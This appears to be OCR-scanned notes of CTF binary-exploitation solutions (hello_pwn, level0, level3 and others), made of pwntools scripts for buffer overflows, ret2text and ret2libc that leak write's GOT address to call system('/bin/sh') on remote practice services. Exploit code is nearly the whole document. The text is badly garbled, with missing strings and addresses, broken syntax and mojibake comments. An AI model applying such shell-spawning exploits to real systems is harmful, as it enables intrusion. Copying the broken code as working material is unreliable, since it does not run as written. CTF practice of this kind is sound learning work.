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from pwn import

#ELPAAT [ R B
0x08048320
uE-Sidinfiik: s

0Xx0804A024

a.interactive()
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from pwn import

r remote( ,57201)

return_address= 0x0804868B

r.sendlineafter( 5 )

r.sendlineafter( 5

r.recvuntil( )

payload b ox18 p32(return_address)+b (256-0x18)
r.sendline(payload)

r.interactive()

hello_pwn

_int64 _ fastcall main(__int64 al, char a2, char a3)

alarm(@x3Cu);

setbuf(stdout, OLL);

puts(

puts(

read(®, &unk_601068, ©x10ulLL);

if ( dword_60106C 1853186401 )
sub_400686() ;

return OLL;

from pwn import

fcontext.log_level

remote( , 37942)
payload 4 p64(1853186401)
r.recvuntil(

r.sendline(payload)
print(r.recv())

**

levelO



from pwn import

ta remote( ,56853)

El process(

sysaddr 0x00400460
binshaddr 0x00400684

(0x80+0x08)+p64(sysaddr)+p64(0)+p64(binshaddr)
ox80 + b Ox8 + p64(0x00400596)

from pwn import

remote( ,56853)

process(

context.log_level

sysaddr = 0x08048420

binshaddr 0x0804A080

0x26

ox4

p32(sysaddr)+p32(0)+p32(binshaddr)

.sendline(

.recvuntil(

.sendline(payload)

.interactive()

when_did_you_born




from pwn import

El remote( ,48986)

ta process( )

context.log level

payload p64(1111)+ p64(1926)

a.recvuntil(

.sendline(

.recvuntil( )

.sendline(payload)

.interactive()
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char v5; // [sp+0h] [bp-20h]@5

unsigned int v6; // [sp+8h] [bp-18h]@1
IRHEV5 v6 de fH S Hk ik bp-20h bp-18h

#
#

level3
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from pwn import

R B A 1 R X
Hp process(
remote( ,55058)

tchar[88] ebp writepfi#uthht writeRFUREIHibEGREIZImainE) write@FSH—(1) write®EH S —(write_gotHbht) w
riteRESH=(B4FT)

payload=0x88*b p32(0xdeadbeef)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)

HIREwritefEgot H ¥ Hh bk
write_got_addr=u32(p.recv()[:4])
print(hex(write_got_addr))

ft B 11 RN E R ik
libc_base=write_got_addr-libc.sym[
print(hex(libc_base))

it H sy stemf bk
system_addr libc_base+libc.sym|[
print(hex(system_addr))

T EERFE /bin/sh Kithik. 0x15902b M fW#, Bid@r4: strings -a -t x libc_32.s0.6 | grep
bin_sh_addr libc_base 0x15902b
print(hex(bin_sh_addr))

f#tchar[88] ebp system systemii#fiREIHHE systemE S % (bin_sh_addr)
payload2=0x88*b p32(0xdeadbeef)+p32(system_addr)+p32(0x11111111)+p32(bin_sh_addr)

p.sendline(payload2)

I B
p.interactive()




5 — A writeup

from pwn import
from LibcSearcher import
io remote( ,55058)

#io process(

elf.plt[
elf.plt[
elf.got|
elf.symbols|[

tchar[88] ebp writepfi#uthht writeRZFUREIHbEGREIZImainE%) write@FSH—(1) write®ESH —(write_gotibht) w
riteR#SH=(B4FT)

b 0x88

p32(@xdeadbeef)

p32(write_plt)

p32(main_addr)

p32(1)

p32(write_got)

p32(4)
io.sendline(payload)
HIREwriteEgot H ¥ H kit
tl=io.recv()
write_leak u3d2(ti[:4])

hex(write_leak))

LibcSearcher( , write_leak)
libc_base = write_leak libc.dump(

hex(libc_base))

libc.dump(
hex(sys_addr))
i HFFE /bin/sh Kithik. 0x15902b K fm#, MWidfr4: strings -a -t x libc_32.s0.6 | grep
libc_base + libc.dump( )
hex(bin_sh_addr))

ftchar[88] ebp system systemii#fiREIHHE systemE IS4 (bin_sh_addr)
b 0x88 + p32(0xdeadbeef)
p32(sys_addr) p32(0@xdeadbeef) p32(bin_sh_addr)
io.sendline(payload2)
io.interactive()
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